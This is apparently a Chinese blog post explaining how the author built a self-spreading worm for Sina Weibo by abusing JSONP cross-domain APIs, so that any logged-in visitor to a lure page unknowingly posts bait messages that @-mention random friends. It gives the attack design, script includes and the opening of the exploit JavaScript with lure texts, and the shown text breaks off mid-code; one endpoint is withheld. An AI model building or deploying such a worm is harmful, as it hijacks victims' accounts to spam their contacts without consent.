使用新浪API接口编写微博蠕虫
去年写了一篇关于jsonp信息泄漏的文章(http://i.wanz.im/2011/02/06/jsonp_user_info_leak/),利用腾讯的接口可以获取用户一些私密的个人信息。也是去年开始尝试使用新浪微博,虽然不怎么喜欢新浪微博的一些体验,但也一直用着,女同事们对各种微博活动都很狂热,最近一个ktv送vip卡的活动就被狂@到了,于是进去看了看,发现有个发微博@五位好友的发布框,可以选择好友,由于是新浪地方站点,发布微博和拉取好友的功能就必须跨域调用,看了下请求,确实是使用jsonp方式跨域,于是有了邪恶的想法。 既然使用了jsonp方式跨域调用,那么就是说只要用户是在新浪微博登录过的前提下,在任何页面访问这两个接口都是被授权的,那么我可以制作一个这样的页面,这个页面可以拉取当前访问者的好友列表,然后随机取几个好友,@他们,并发布一条诱惑性的微博。准备好这个页面后,我们可以用任何方式吸引用户去点击这个页面,之后的效果就会像微博活动一样,访问者会自动转发并@他们的好友,好友的好友看到了也去访问,最后这个微博就会像蠕虫一样扩散开来。 接下来就放出演示链接和关键代码,出于保护的目的,演示中不给出拉取好友的接口,相信懂的人可以自己挖掘并利用。 测试微博:http://weibo.com/1725812854/yjNq9uAZ4 ,在测试微博里可以找到测试代码页面。 引用所需的js XHTML 12<script type="text/javascript" src="http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.7.2.min.js"></script><script type="text/javascript" src="http://fj.sinaimg.cn/utils/API-pack.js"></script> 编写对应的利用代码 JavaScript var content = ['嘿嘿,推荐大家收听@丸子-_- ,他写的这个东西很好玩,http://wanz.im/sinaworm.html', '我擦,@丸子-_- 他写的这个东西太牛逼了,http://wanz.im/sinaworm.html', '昂~@丸子-_- 他写的这个东西好羞色哟~,http://wanz.im/sinaworm.html'], pics = ["http://ww1.sinaimg.cn/bmiddle/7e7fc78bgw1ds88rpzhefj.jpg","http://ww1.sinaimg.cn/bmiddle/7e7fc78bgw1ds88rpzhefj.jpg"], i = Math.floor(Math.random() * 2), pic = pics[i], success = function(json){ //window.location='http://weibo.com/hiwanz'; }, failure ....